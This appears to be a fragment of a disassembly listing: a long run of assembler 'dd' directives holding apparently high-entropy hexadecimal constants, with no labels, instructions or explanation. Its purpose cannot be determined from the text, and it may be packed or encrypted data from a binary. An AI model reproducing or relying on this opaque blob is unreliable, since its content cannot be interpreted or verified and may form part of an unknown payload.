		dd 16C1EA08h, 89A26A82h, 16423489h, 88B080DDh, 95482D31h
		dd 0B9012D42h, 314B6A65h, 0BBE2D571h, 0C5CD0741h, 26B2B77Fh
		dd 0E1D2A572h, 293AC381h, 5E6C100h, 4E0B3290h, 0DCAF1E03h
		dd 945725E4h, 69E3FA18h, 56805D65h, 29352741h, 408BF248h
		dd 0C1185E08h, 222402E2h, 0DAF0308Ch, 0CC7D0B46h, 10EE3E4Bh
		dd 5A25083Ah, 3BD1025Ch, 5341046Fh, 0F5CBBBCFh,	47C1815Fh
		dd 0CC4E1A49h, 683C5552h, 802C593Ch, 31A430FCh,	0FFE80383h
		dd 5432AD05h, 11E25782h, 0F26524DDh, 0BFC816EBh, 97A0339h
		dd 204C8757h, 9F740C40h, 68AD1200h, 0A4A81F70h,	0FD822B93h
		dd 27CA36C0h, 107ED648h, 5B05ABB3h, 98113068h, 0BBD38296h
		dd 1E6A5705h, 65E6C443h, 0C1608A54h, 0E73E25C3h, 0E12E7B4Ah
		dd 35814D61h, 775035Fh,	0B76ECC30h, 0E393256Bh,	1D3A5B50h
		dd 1F60D9F4h, 1EF640Ch,	5465E563h, 0D4646C6Bh, 67277F94h
		dd 0EE0CB40Dh, 9C45899Ah, 498F36A0h, 0FD5B764Ah, 0B41495D7h
		dd 57939222h, 2218CB5Ah, 0F5D47611h, 82740268h,	6BA5E93Dh
		dd 0A4C8AAh, 3FF00F28h,	0EFAC381h, 7385F3Bh, 0BE019ACBh
		dd 0AEB80EFh, 9675F0E4h, 0E95505F2h, 0C11CD095h, 515703E1h
		dd 0DEE93A67h, 3E01C16h, 0BD38F2D1h, 91F06AE6h,	55E48B5Ah
		dd 706D49CCh, 2E30B44Ah, 0E28CF44Fh, 6822481Fh,	7629ABD2h
		dd 99485F2Dh, 70AD3407h, 0EAAAB2BAh, 0D66D295Dh, 9D6727EBh
		dd 0D435A69Ch, 301F4800h, 30C11A72h, 0CE5203E7h, 1176DF18h
		dd 0D0C70F2h, 1A47217Fh, 0FE8D0410h, 0C1F929FFh, 71E911A2h
		dd 28902399h, 0C09C753h, 5D060A54h, 7B97C360h, 0DA2C0D2Fh
		dd 0FE4BE601h, 1BCCC64Ch
		dd 0D895B7F7h, 17C304B8h, 986BF9A2h, 5B5C5DFCh,	0F9D9327Eh
		dd 0DB7AC3E5h, 0AD41D909h, 0EAB41682h, 1651E728h, 95EF8087h
		dd 0C757CF07h, 63C57159h, 0A24CAA0h, 8E8CE331h,	9EB67CDh
		dd 0BC23BBCEh, 21392F7Dh, 81915DBh, 5A3A52Bh, 498AE08h
		dd 6D8A01EBh, 295F4346h, 842ABFC3h, 8F565C76h, 0BECF2D4h
		dd 12215B13h, 4CAB0029h, 52FB884Eh, 9DB85007h, 5D12340h
		dd 3D1023Dh, 0C05DC56Bh, 357BE951h, 101A33EDh, 5C13D409h
		dd 31D6A9D2h, 2C336701h, 7B82489h, 4FF91F4Bh, 38B82AC2h
		dd 0D98B3289h, 8075C312h, 0AD7BB529h, 5073BF45h, 493BD14Bh
		dd 83723BD1h, 12DFB2FFh, 0AECAFE14h, 0FFC2BEC2h, 0CDB11E85h
		dd 0CE8BF2A3h, 0D4BEA1E0h, 0FC45CE27h, 0FBE9785Eh, 84789E4Ch
		dd 0F70631ECh, 0BAFE04DBh, 2D12B560h, 75FE4171h, 8360955h
		dd 85F1793h, 0E90B0747h, 55372912h, 0EE7DA862h,	0F80101D1h
		dd 31581033h, 3F1D6A57h, 0A299DE7Dh, 80A59238h,	0D2352E4Ah
		dd 0B80C3F60h, 8001C26Fh, 91254520h, 8622842h, 14000C34h
		dd 6D31BE56h, 56E7CE9h,	257885CEh, 87B6802Fh, 305C1B48h
		dd 0EF90657Eh, 2568D33Ch, 0D5F943DFh, 29C79889h, 0F2455E21h
		dd 0DAEBE179h, 560D2008h, 4D601498h, 6CD9F23Fh,	0BCF94ABEh
		dd 408B1702h, 45C13AC0h, 1EC20993h, 0D11CCF29h,	6C1C64Ah
		dd 0C6FA6068h, 4970BF94h, 48532502h, 0D71999E9h, 52A0EC98h
		dd 69C27DC0h, 7E6AC80Bh, 0A3EAF001h, 0B31C0208h, 5E1E963Ah
		dd 20AFE6D7h, 0F70BDE7Dh, 0FAD687D2h, 0B9FB68CBh, 6B9305E7h
		dd 6C538384h, 2A88371Ah, 38E0821Eh, 0F6FA4212h,	0A7F3935h
		dd 70A76802h, 4B446FC2h, 5159055Dh, 92F61E83h, 4FA07153h
		dd 0E34BCCCEh, 0E929827Dh, 7A77054h, 0A8042DB8h, 0EBB9404Eh
		dd 0AB98FF3Ch, 0C51F2060h, 0EF677F11h, 5392828Bh, 2AFED010h
		dd 9962413Dh, 5C2E0F46h, 0B2DA36Ah, 197BD968h, 36E45363h
		dd 2AAB0945h, 0CA6213E9h, 0C5C985D7h, 6CB45970h, 273E12E9h
		dd 2BCDEE01h, 92A5E63Fh, 5BACB453h, 5571EFA5h, 6FCC5042h
		dd 0F2664CB7h, 7FD9626h, 82A0B652h, 1FDEBEC6h, 1D26CE0Fh
		dd 0E016769Bh, 9F0F63E9h, 3CEF90E8h, 61DD3625h,	0F67A8EF2h
		dd 0F05CC5A6h, 60DED298h, 4FB3D83Dh, 5202DBF6h,	0E280FCB2h
		dd 0C0626296h, 0F25AD3FAh, 0C0220FCBh, 0CBFC08EBh, 0E6D228F5h
		dd 6CFAE910h, 0DAF712h,	69BFC2F1h, 7097C90Ch, 17A290C8h
		dd 9E64699h, 0A488F593h, 0A85E1308h, 0B851C9EFh, 0D571B51h
		dd 192D31FEh, 3B44570Bh, 0FF1A3277h, 6CD55862h,	0B2C5982Bh
		dd 9661BF51h, 23BAD452h, 0AE2F7F7Eh, 0BBA95977h, 6807E0D9h
		dd 0B70DD543h, 745B25Fh, 3AB131EBh, 6383D5Ch, 2F165D48h
		dd 2A040F0Ch, 0E6807A15h, 5F3835B3h, 1E36A6BEh,	44CC12FCh
		dd 87E70E09h, 8E18BC73h, 5E423578h, 0E352E9F4h,	0E724D322h
		dd 90BF814Fh, 4023B43Ch, 0B210DCAEh, 51E9270Dh,	1130A045h
		dd 0C35F6E0Ch, 0EA290319h, 827D73CAh, 0D4DA3A60h, 55793D5Bh
		dd 0B82EFD7Ah, 0DD3CA2B3h, 2B5FE7ECh, 0B5C9C15Dh, 0F81DAB2Dh
		dd 547C0F45h, 14A9796Fh, 8700495Dh, 99D8CDE0h, 30843C9Bh
		dd 8042236Fh, 3E2C112h,	0DD97097h, 6A73E951h, 0DBF12F2Ah
		dd 9F40E3FDh, 3234B3F3h, 0D50C4A74h, 16542E0h, 845F9B7h
		dd 4F138248h, 21C9A201h, 0EE950BCBh, 0DA25817Ch, 0C2580C54h
		dd 78A128D3h, 3AFC20F2h, 5278C3E0h, 2D04EA4Bh, 0F2AAE689h
		dd 26118BDFh, 20113345h, 0B805A9C6h, 35FD2B25h,	2D3B80ABh
		dd 7E003AF4h, 19CA0564h, 4FE92E21h, 42F60BC7h, 6783F4F4h
		dd 20B3B44h, 6EB1AC96h,	29DF2933h, 378BDD38h, 833D15D7h
		dd 7FF7815Ch, 6A1227EBh, 849F362h, 0B2CC501h, 0BC8D921h
		dd 7140B068h, 81164BE9h, 0DC12B654h, 6FB1203Dh,	9118E007h
		dd 56D1059Fh, 6BDAFD0Eh, 4E88988h, 28AADB49h, 0CEF85D91h
		dd 0C1010391h, 32040980h, 2FD4BC41h, 0C1EBD255h, 0F01368AEh
		dd 0F6957324h, 0EAF55251h, 0A061827Ah, 0F94EFD54h, 0E9C2310Eh
		dd 0AC823AEDh, 1605062Dh, 8C57D468h, 5902160Eh,	96E95C34h
		dd 85B80009h, 0FF32FADEh, 0D814CC01h, 0F05E4A4Fh, 0FD192ADBh
		dd 0E432F5BDh, 0BF57C007h, 1CE2142Dh, 0E340C2F8h, 99FBBD5Fh
		dd 0AD16CE02h, 36EF801Ch, 32E352E9h, 5D64D329h,	51695E76h
		dd 6FD82D6Dh, 5803669Ah, 1056B72Dh, 5D8F134h, 82210745h
		dd 272A2DE7h, 232E83A3h, 69E40987h, 3832F613h, 78A87B04h
		dd 29A9680Eh, 0BFC1F61Bh, 12E86638h, 0ECB2D633h, 4CAA2A78h
		dd 46C89DD7h, 0C7E08CBFh, 54160FBCh, 0BEFD80Bh,	29ED687Ah
		dd 0A87197F0h, 99ED5D16h, 46EA6889h, 0CD52E44Eh, 0E2E06B08h
		dd 0F0FEE9E9h, 5F25CF6Ch, 68D8B0FDh, 0BC014F03h, 10E2C5CEh
		dd 12F409D7h, 7E30B3BFh, 281C3665h, 0B6152EB2h,	0AB848362h
		dd 1A0B15EAh, 0F932424Bh, 0F35264BEh, 71B524B4h, 2DFEE008h
		dd 52CBECFCh, 544990h, 0A8DE5727h, 0D7FF8FE2h, 3625DF6Eh
		dd 81DAD333h, 68C8B70Fh, 8851D605h, 28080B88h, 59C96806h
		dd 805116DBh, 0EC7CC234h, 0DDF1105Bh, 0E2AA0704h, 3DE9E5B8h
		dd 2467D4B1h, 0BE13E3F6h, 0A906E040h, 517C61Dh,	0B757C5C3h
		dd 0EA42843Eh, 438223h,	0BCFC451Ch, 0E794E932h,	685C32C3h
		dd 0FBDF5841h, 0AC4ED549h, 245587ABh, 0A15A6E3Fh, 1F685150h
		dd 2D6AC0h, 69E6B859h, 70E99A88h, 3ED1E14Bh, 5D031F60h
		dd 882DD37Fh, 49015CB6h, 9734ED5Dh, 8F78287h, 3CB073F0h
		dd 74AA02D3h, 0DE30BF67h, 56956859h, 3611D24Dh,	0D7AA101Eh
		dd 38145E27h, 78D10997h, 41BA045Ch, 0E407E828h,	0C349129Dh
		dd 82683821h, 8B4C676Eh, 4C965D3Ch, 0AE07E910h,	0B1F73131h
		dd 16E63D22h, 0D4917423h, 6800D6E7h, 3DC4337Dh,	9E8C32C6h
		dd 0A82BF3F6h, 54511223h, 304F76CAh, 6AE9559Ch,	77012827h
		dd 0D3DD1A2h, 93EA2CC8h, 14A93917h, 0F5000C13h,	0BA2313C2h
		dd 25E91A26h, 4D502929h, 0AD63CD04h, 98AA5919h,	5540DEDBh
		dd 9799A091h, 6ED9219h,	0C68059EEh, 984B18E2h, 0F8E7D685h
		dd 92F0FA2Fh, 7EC095B4h, 13B631DAh, 5259F5E9h, 19F9F87Eh
		dd 54102158h, 0E5C2F9D7h, 0B3B08C6Eh, 0ED68610Bh, 883A1828h
		dd 0A1ECE4DDh, 75792785h, 0F8968048h, 0AD2A465h, 56A85D02h
		dd 96D04B4Dh, 3918649h,	2882F680h, 4434D1F1h, 0F205FD36h
		dd 0C15B5574h, 3C62CEh,	0E5610B9h, 0E1815714h, 33404Eh
		dd 6AEBC90Ch, 70956423h, 176D4AD2h, 11BAC27h, 5D7C77EFh
		dd 0B26E893Fh, 0C98E106Ah, 78105B3Bh, 0D8685FB6h, 417341B8h
		dd 7FF4FA32h, 0F0817132h, 0C92B912Eh, 0A599C7DDh, 5107E55Bh
		dd 0A2A3A6B9h, 1DD0767Ch, 8F4F7F20h, 85455DF1h,	0CBBED55h
		dd 0E8BFEBC2h, 1364087h, 938BDA4Bh, 0FAFA934Bh,	3FF1694h
		dd 0E31BF3EDh, 25D4EA9Dh, 8064C4EBh, 6E3A4962h,	0CB4C3C79h
		dd 82084151h, 0BA14C10Ch, 620E7925h, 4D0A21F0h,	65A02EE5h
		dd 5ED67731h, 0ABF2C41Ah, 0A0EC62CDh, 0C33DB610h, 0EB303C9h
		dd 6B2D26F1h, 2E753229h, 0D3332120h, 0D6700D61h, 40F67E61h
		dd 0EE3233D4h, 2AC23126h, 63DBCB41h, 0A4257A4Dh, 0E4C6698Ch
		dd 0F612B0CCh, 7B5BAA9h, 3D512CBEh, 490AA734h, 0C510CBA9h
		dd 90D9092Bh, 0F9D658D8h, 685082A0h, 8DA54293h,	535F0B7h
		dd 0E9611493h, 753F16F9h, 0B1CCBA68h, 0F1A82E8h, 62BC1857h
		dd 99014F1Dh, 2E5A216Fh
		dd 69626CDDh, 0C951B72Fh, 2EE411A5h, 79B62Ch, 0C2FEE5B2h
		dd 51B0F280h, 1031B54Ch, 5D000DECh, 58B1B850h, 0F09F62B2h
		dd 0EB087733h, 6849D6D6h, 0F9762D11h, 0B4C3245Ah, 0D0F71D90h
		dd 20709D96h, 5233B500h, 0D5BB533Ch, 2E65F20Eh,	107CDE09h
		dd 2AA1588Fh, 5454B138h, 9213BDB6h, 7D0A535Fh, 0D5A5EE96h
		dd 0ADFE980h, 5A4E1551h, 7AA429ABh, 841055A6h, 83244EEFh
		dd 468691EEh, 3E073669h, 0C15840B0h, 0B20F01AAh, 3A13E54h
		dd 8A30129Eh, 12F01EF1h, 9D7E8C0Ah, 0B728B1B4h,	6D152F0Fh
		dd 86556A7Bh, 12001025h, 4EF92714h, 0B9839E50h,	4BB23D93h
		dd 66627560h, 0E9118405h, 2F522CA3h, 0BA3821FEh, 0A58A6BE7h
		dd 4703D613h, 85E7CDC9h, 51FFD1B2h, 0AC213B5Ah,	0C0042684h
		dd 1725BDF7h, 52324A16h, 38045006h, 0AA669770h,	2BB358C9h
		dd 12514536h, 2B0DA12Ch, 5ED81FB9h, 75254402h, 48A4F84Dh
		dd 3810D708h, 34B21C52h, 0C559FC2Fh, 0E85F8251h, 5A6FF61h
		dd 0AECCC4FEh, 0B95AA0CEh, 0B4A8473h, 90D3888h,	438C3B39h
		dd 0B640955h, 48B68514h, 0E0B7C0FBh, 220A2507h,	0F765E779h
		dd 5D46EA25h, 0B0968F8Ch, 19683A0Bh, 4418F531h,	36690151h
		dd 0B807D48h, 686D1EA2h, 0D69610DEh, 0BB5700EAh, 667662FFh
		dd 2EE38104h, 0C1FA6A2Ch, 0D55FA932h, 31D4937Fh, 1750E9ACh
		dd 3D6004DCh, 0C4DE2918h, 0C4F5D1E8h, 2C4D2386h, 3F1C5554h
		dd 0E1924D38h, 4F39295Ch, 7270E90Ch, 5E3CF1DDh,	770C9657h
		dd 6D912590h, 290B3338h, 0BC05551Eh, 275F2D7Fh,	873912BEh
		dd 0D95119B9h, 3E0F886Fh, 0E1F541CFh, 0E2D03F69h, 5682FA60h
		dd 0D93B1727h, 7A160332h, 0A0FD57BCh, 0E91C5A43h, 9625E01Dh
		dd 49F7906Ch, 0EA136B18h, 0AE0BFF4Ch, 85E186C9h, 1EC772C5h
		dd 0C96E5B25h, 24A0C4B3h, 403E23A3h, 1C2DE6F4h,	9CAAD901h
		dd 51752CD9h, 4F8978DBh, 0E27A14A1h, 79B8CB23h,	1871A426h
		dd 9AEF4914h, 7FB87B16h, 4926E1Ah, 12AE5A08h, 702ABBE7h
		dd 0E5F9D6Bh, 78EE16B0h, 0E14BE92Ch, 38B85B81h,	8F7D09C2h
		dd 5818A9A6h, 1EBB1E8Bh, 15084ACh, 9774C3D3h, 0AD951940h
		dd 1F58435Ch, 66125E24h, 0C92117FFh, 0E91784B1h, 0DDEF8977h
		dd 1864ECC2h, 0D501B692h, 2B56F581h, 0DDE15BAFh, 3BC26AA2h
		dd 0AC64B753h, 0CAAE12B9h, 14680933h, 6147DC5Ah, 0F00B017Ch
		dd 645FD7E9h, 0AE4EEBB3h, 0AB2D0A03h, 0C139926Bh, 5501EAD2h
		dd 57270081h, 0BA68E338h, 0F81EBB2h, 2FDD295Dh,	14CC7364h
		dd 9DD56223h, 0C5557167h, 2C4626C8h, 0CB0106Dh,	0AE21B450h
		dd 75014E0Dh, 0E99A6056h, 69B2B728h, 62827F4h, 0AE2F9F7Dh
		dd 82755C51h, 3D8B76DEh, 3F5258E1h, 0A818F2B3h,	3EC1C958h
		dd 76D62B31h, 168979BFh, 0C57D922Ch, 3FB38939h,	0F6E99A01h
		dd 16C06AD9h, 0F2C090E1h, 0F111CB02h, 94C8D387h, 1217ADACh
		dd 0DBBC58C2h, 5347B05Ah, 73875600h, 0DD3F181h,	0C171587Eh
		dd 0D049DB0Bh, 5EB2F57h, 0E860F69Bh, 0B991917h,	6E2C160h
		dd 0D5165E80h, 3126153Ah, 0E9C1FFD7h, 1E7D19F1h, 0BF573C01h
		dd 0C1AE1602h, 3BFEFC47h, 0F7855D96h, 2882C037h, 32337478h
		dd 8EF61E22h, 0E34AB10Fh, 0D95207E1h, 57C2AFA6h, 1A1361D9h
		dd 5F588CACh, 8617ABB4h, 9421CD9h, 0F9C69B36h, 0AAC88468h
		dd 4FDEFC6Dh, 90BCE964h, 787BC91Eh, 685016F1h, 0DF2EE42Fh
		dd 0F6254794h, 75FA5BECh, 0F06E57CAh, 719FEF71h, 98594926h
		dd 74575189h, 4A216383h, 0DE053C02h, 0D3094C4Bh, 0E3FC2775h
		dd 69FEEE17h, 0C4490424h, 0C127AB63h, 0DCA05C84h, 0A4DF4989h
		dd 20F83185h, 618E6849h, 0E36269B4h, 75805C6h, 93ADC11h
		dd 0A501C57Fh, 7202AF73h, 0E1317177h, 3AFFF2Eh,	0C0CC1563h
		dd 0FB054BD0h, 6A0F5B73h, 22F610Fh, 0E1B725FCh,	9E21188h
		dd 8B7A827Fh, 0EBCB7C76h, 83099974h, 363973EDh,	340F69Bh
		dd 0BD82BD58h, 0EE5F2CC4h, 965EF634h, 0E08A1788h, 7C4088E3h
		dd 0F7D9FC5Bh, 91D6396Dh, 26DF5EA4h, 7C357925h,	29AC13EAh
		dd 1ECC3479h, 9BB3AA82h, 55B53898h, 2EDC017h, 4B41B712h
		dd 0FC1A83B8h, 4A7AD1DBh, 0FF05E479h, 0C005EEC1h, 0B7BFA005h
		dd 0F701F904h, 0E6E1A2E9h, 5B5B2C3Ah, 6B4CB555h, 1282A4C1h
		dd 0B5FEC370h, 0A6BDB4F3h, 0E0A7662Dh, 0C11606CCh, 2F71ED5Bh
		dd 0E5DE20C4h, 0F677045Ah, 0FC5F74B2h, 22F78422h, 14A2EA01h
		dd 68C8EA93h, 0BC62E868h, 73EE60B7h, 1C980840h,	0AF0DEA6Eh
		dd 39BF126Ah, 0BD80F978h, 0A9CB820Bh, 0E042964Eh, 2C5EEFDEh
		dd 91F7DDCh, 1AF89EE9h,	5B0711B7h, 83604635h, 0C411E61h
		dd 6E0BCD78h, 0F9A9AFC5h, 5E686174h, 30832342h,	0EAC1881h
		dd 0EC0F4BCFh, 4D680A89h, 10486D3Ch, 4018DA2Ch,	0B0FB01B5h
		dd 4B5B50A1h, 4D899F7Fh, 0B1C3C4D4h, 9EF2541h, 3DBBF656h
		dd 271BC805h, 9FDB147Dh, 1A3B6C50h, 0C6B77015h,	1D29C92h
		dd 0B63A1DC7h, 0C2C06F3Bh, 2E8E06B7h, 8280F889h, 171279C4h
		dd 82A5D075h, 93C34508h, 135C92FDh, 0CA775BDAh,	0DB6F6E2Dh
		dd 0EB96BDC1h, 2041B5B5h, 7F409F7Bh, 0B6D19759h, 0AA685FE9h
		dd 2783E115h, 14DD5A3Eh, 1BB60FB8h, 0C2BCEF80h,	0D4E94EC7h
		dd 0BE0424D0h, 37907A8Fh, 1E31ADA1h, 0B044D21h,	6BCED5C0h
		dd 0E931087Ch, 4926823Ah, 282AF308h, 55FB0981h,	2DD0503h
		dd 7B1BC7EFh, 57F8252Bh, 96007195h, 0EB4AD0D2h,	3E5CAE31h
		dd 95127B3h, 986D5045h,	9A6C0CB4h, 8A664836h, 78947B13h
		dd 9F7D44BBh, 0C65E0E1Fh, 72F1BE49h, 0F186CDCDh, 0FA9F2E4Dh
		dd 0B6A0E93Fh, 555C399Fh, 9FFB89F8h, 50791B64h,	7C586F28h
		dd 9F31A00Bh, 7F02778Ch, 0F1775068h, 0F0A39358h, 0D3B758EBh
		dd 16D69043h, 62BECF01h, 7458F164h, 2931B905h, 0A8032E7h
		dd 350E2Bh, 56D8F764h, 0C11D2FBEh, 27E0745Eh, 0EA026263h
		dd 0A4D5CEFEh, 0B39187C1h, 0AA72FD30h, 0A88F207Bh, 68E1051Dh
		dd 805216DAh, 65D41745h, 6F409DA4h, 3FEB3599h, 444A3FCBh
		dd 12E5D169h, 79EA21D0h, 0F4DD5E98h, 0D48DC2Ch,	27EED6B9h
		dd 0B1B5D4BFh, 408F2F5Dh, 4096E917h, 724BBF1Dh,	313E9ED4h
		dd 29FB16F9h, 0D002668Dh, 52434980h, 0A492A22Fh, 3E5A5181h
		dd 36D1D159h, 0CC1DB104h, 0A12C68D1h, 0DBC4F70Dh, 0B2BFC6D4h
		dd 0F8D69FBBh, 685EBBC0h, 0E36C4B76h, 0D17316DFh, 9851AE28h
		dd 940997A7h, 669F4D14h, 5AE39DF0h, 0D768C398h,	9CC1E5Ah
		dd 7FC241DEh, 41527A0h,	0C1524C10h, 72D0E0EBh, 414E6E10h
		dd 39613B7Ah, 0AFFA45Fh, 0A3477D09h, 0D60B5529h, 9D7CBEDFh
		dd 820D6B47h, 757B1EECh, 0C69AE2F5h, 5573DCFh, 7B43B2F2h
		dd 85CF0157h, 0B9BEB7EEh, 45CEA4FDh, 201AD802h,	0C567C013h
		dd 7E2DFE48h, 82339029h, 953DCC08h, 483528C1h, 7B5979C2h
		dd 12258330h, 0ED80DCD7h, 95647FD5h, 0BA706550h, 0E90F5D06h
		dd 0A333C918h, 4F30F75Eh, 0B59E49B4h, 8EE96E02h, 8005B076h
		dd 81C3CCCAh, 0BA104A11h, 0CAEAD112h, 59E90920h, 0B79D14B0h
		dd 398B94F9h, 0FDFFA0DEh, 0DF25CC68h, 4820D339h, 0F501ED83h
		dd 0BB1E3D7h, 0D2AC92F8h, 0B108BC26h, 0A723EBAEh, 18205548h
		dd 293BE6Eh, 78F38953h,	0E9BBC489h, 292690B8h, 7B042DE8h
		dd 5D17FC65h, 0EF055BA6h, 0EE5A4735h, 58626B04h, 631EDED0h
		dd 0C62548D1h, 146E1C10h, 85515Fh, 390A27D6h, 282028B9h
		dd 0BC2E0E1h, 44A76769h
		dd 6708350Bh, 215F0B08h, 0DB9B9002h, 1D306801h,	0EE12AE07h
		dd 74C50040h, 0B7158931h, 26844B29h, 0B0680725h, 335448Bh
		dd 0EB804EB3h, 0F212888Fh, 1704EA28h, 7130206h,	922F0130h
		dd 6B555322h, 0C905D3A0h, 0C96F26C5h, 0DDEF2067h, 19BF10C3h
		dd 7564DA57h, 2E088FC1h, 0FC4B348Bh, 68AF4B9Dh,	42951CCEh
		dd 3A3075BFh, 34708468h, 0EAAA749Fh, 4D3E028Dh,	83F52C8Ch
		dd 0BFE01D8h, 0A1141116h, 0EEDE4D04h, 17CEFD40h, 0F6736A57h
		dd 0E3B14A20h, 0E2AC4E77h, 426856A1h, 515F5E06h, 98776BD1h
		dd 54FF6831h, 9754533Fh, 0C7654A79h, 720F6B47h,	30EEFD09h
		dd 454DE918h, 16F7C531h, 0A875BD6Ch, 4119AEFh, 0E01299BFh
		dd 924B8786h, 0A672FACDh, 0C85AE982h, 4B40944Ah, 15AB5401h
		dd 0E9C152F3h, 0BA625CCh, 27A740E0h, 81511F5Ch,	8B5E7CC3h
		dd 18CCAE30h, 1805A015h, 52090C75h, 9DD31E3h, 0A32278E8h
		dd 23BB80h, 53665ADBh, 0C3FECB88h, 0B5C26FE9h, 69AFE2E9h
		dd 0DAD4FF02h, 94C3977Dh, 8EA0064Fh, 95D670EBh,	0A4EF40F4h
		dd 0FA9F9FFh, 0B401DD00h, 1DBA524Eh, 6F790302h,	0C486E0E9h
		dd 0F8D15ED0h, 3B4009EFh, 0F67F806Dh, 141D2C23h, 0FAF229B4h
		dd 0B0F49D73h, 33D2BACh, 942A862Dh, 0F9D0FB2Bh,	0E7519D7Eh
		dd 4C5030B0h, 2D7332BDh, 0B6780B0Fh, 7EF88B7Fh,	72F2E1A0h
		dd 0DB892038h, 0C0D46EA2h, 0A0165700h, 0E9FA0117h, 0F6294227h
		dd 6851C081h, 8A93564Bh, 9E696300h, 0FE505708h,	0B65A1C60h
		dd 0EDE94A58h, 6BDEADFBh, 0D164485Ah, 0D77010Ah, 0E901EB83h
		dd 30945132h, 0E4D5C9EAh, 92BAC71Bh, 58D96E05h,	0D0AA2906h
		dd 7265A6C4h, 65813F4Eh, 0AD68DF50h, 0A031B893h, 80E57BE9h
		dd 4B703768h, 0C80FF695h, 0D3925A8Ah, 0C8692473h, 2D3975E0h
		dd 1494320Dh, 69467895h, 0F80B2172h, 961F9057h,	321C971Bh
		dd 0A220EC98h, 3358699Ch, 82116AD5h, 78CC449h, 7A3C25Dh
		dd 0F5F69048h, 2E19301Eh, 74286EC9h, 0AAB6629Ch, 3C55C0B0h
		dd 6A561D34h, 0BEB212AEh, 5E2CC64h, 0DAA5E982h,	407E21DFh
		dd 0A9ED5F6h, 12ED129Ch, 0C0EB0E04h, 0C282036Fh, 83F78851h
		dd 0A4CCFC3h, 555FFD7Dh, 0C05C2499h, 0B26A06BFh, 81E9481Ah
		dd 94D357E7h, 0DE7455C5h, 2DE95B21h, 0EEFE4AEBh, 5A5E6361h
		dd 963CF23Fh, 3535B3EDh, 6C2DFEE1h, 1F8926FDh, 4ADFE089h
		dd 0C754C030h, 46D41A27h, 605FE3F4h, 493DE9F4h,	0E701B0A9h
		dd 5C9432BCh, 7B6DE968h, 993C4331h, 0C4C47328h,	0EE2107CEh
		dd 57A8D0F5h, 50B1AB50h, 1D2D289Dh, 807B2821h, 90A37EFh
		dd 0D77EF710h, 3D1E3EE6h, 0DF1435C3h, 372137F0h, 45A73660h
		dd 69D8F6FCh, 9F616DCh,	0B787025h, 7FE75CA8h, 120CCB87h
		dd 0C27D7E46h, 6C33F13Eh, 45C3F54Eh, 0C95003EBh, 282BEAE1h
		dd 0BA401426h, 0F6321CB3h, 80D383DBh, 6AF189C3h, 0D2432DE6h
		dd 0F4DBDA0Bh, 897DE9EEh, 5D514C20h, 944CED6Bh,	16F50BB5h
		dd 8027631h, 252A6269h,	0F3C728A6h, 6488E905h, 0FA3CA88h
		dd 5E13E826h, 0BECD4F8Ch, 3481E76h, 63EF10A1h, 7E5C00Ah
		dd 0BFE81AFCh, 66E632C8h, 0A8F86582h, 69DA2486h, 0F900C9CDh
		dd 6DE92567h, 83E3E64Fh, 0AD1D3524h, 732872FEh,	42C96A63h
		dd 0BEB91758h, 0EC069D10h, 79927B5h, 2F5FEA5h, 623170FCh
		dd 7EA4E275h, 0D5FE25CDh, 0E1FA02F2h, 24700B98h, 0EC54C32h
		dd 32237C4Eh, 6457049Ah, 0F85CEC8Fh, 0CC70955Eh, 61CBFE97h
		dd 97123E68h, 0EB133B7h, 0B061E27Ah, 0E6ACEF80h, 0C0EC3BE7h
		dd 54B374Ch, 0FD96E876h, 91BAB46Eh, 22DCFE64h, 0C64F972Fh
		dd 3DFE330Ch, 0A2B33EA5h, 7A7621CBh, 62685D43h,	572BD887h
		dd 7BC2E227h, 937A7109h, 0EEEDB17Dh, 0F07E8EE2h, 0B730913Dh
		dd 2559C800h, 15045132h, 0E70CDE97h, 0D7B9D448h, 0E52D05FFh
		dd 131E38CCh, 0D1FEF428h, 6F5A0893h, 0C08241D4h, 55E91819h
		dd 5A2CFA61h, 62E1DB09h, 8B8676EAh, 6D5956F3h, 0D91ACC24h
		dd 7DC049Dh, 0E7ACB016h, 0C749AE95h, 66EFFA38h,	95A02406h
		dd 0D661E262h, 4B2D77FEh, 0E982CDE2h, 0A3FC1A94h, 0FDFDC462h
		dd 0C0F6AE4Eh, 0FB25E2B6h, 0ED269DEh, 55DBE528h, 45A7EA25h
		dd 52BF3EC5h, 0B2DF8513h, 0BD55A0D4h, 22323E5Dh, 0F8A045B5h
		dd 74365EDEh, 545497DCh, 7B8C05Ah, 460B3127h, 8A2E650Ch
		dd 87DA014Eh, 0E9120820h, 0F1450A75h, 5A740EC3h, 25533188h
		dd 5C7B011Ch, 9DB9D82Fh, 0B9F819E0h, 9511B180h,	0C020D322h
		dd 0E164D08Eh, 68DFC108h, 6CBB2985h, 690F7B56h,	165D0A4Eh
		dd 687EC22Ch, 94634159h, 0D6BD8E5Fh, 1122CFA4h,	0BA4FBD4Fh
		dd 2A732701h, 0F06E2E51h, 0D2621B4Eh, 0E0C68020h, 9D18E63Dh
		dd 0CC9E4F0h, 7DE786A3h, 9CEB2823h, 0D9BC25E2h,	0A0C008DCh
		dd 270CFA7Bh, 0BA5FDDF7h, 8586D762h, 0A8C1259Dh, 1C221B0Ah
		dd 3766C0A9h, 0C363118h, 44F16115h, 5CDDD29Bh, 7DA647Fh
		dd 487944D0h, 0ACDEA983h, 600D7C02h, 93E0C146h,	5BA6EE10h
		dd 0EF6CA42Eh, 0F288BA42h, 0EB8103B9h, 0F061FCAh, 1B9C0C01h
		dd 33FF6A3Dh, 137AE678h, 0E245B228h, 729ABEh, 0E9F9010Fh
		dd 5BB06161h, 2E5F5BD8h, 2D7F05B3h, 24C6937Ah, 7CC5B15Bh
		dd 9B4CBEBh, 66194368h,	59730939h, 87F72870h, 2D800C29h
		dd 0B307ACE9h, 0C5830B37h, 0F76594FCh, 6A549E0Eh, 5F96D563h
		dd 3E2FBCB3h, 6295FC87h, 0F3DA0F4Dh, 7D44EC0Eh,	3B03D650h
		dd 4104F13h, 9F1EBB18h,	8C76912Ah, 0C180011Bh, 76CE8660h
		dd 16EE2E59h, 0EB5123Ah, 0F30D5414h, 0E851D510h, 502566B1h
		dd 70A370B0h, 0BE5FA477h, 0ECAC0C3Ch, 9D08C58Bh, 30E9B29h
		dd 944F717Eh, 90E2BDCDh, 5BE90CB8h, 0E2DCCFDh, 7109633Fh
		dd 147C72AEh, 5825CE2Ch, 0B6C10451h, 9C876691h,	63EE30AFh
		dd 2E052C59h, 0C65E9F0h, 842DB10Fh, 0C2AEA703h,	7840509h
		dd 0E962A45Fh, 2CD3897Eh, 0C1D521EEh, 0EDF805D4h, 0B552889Eh
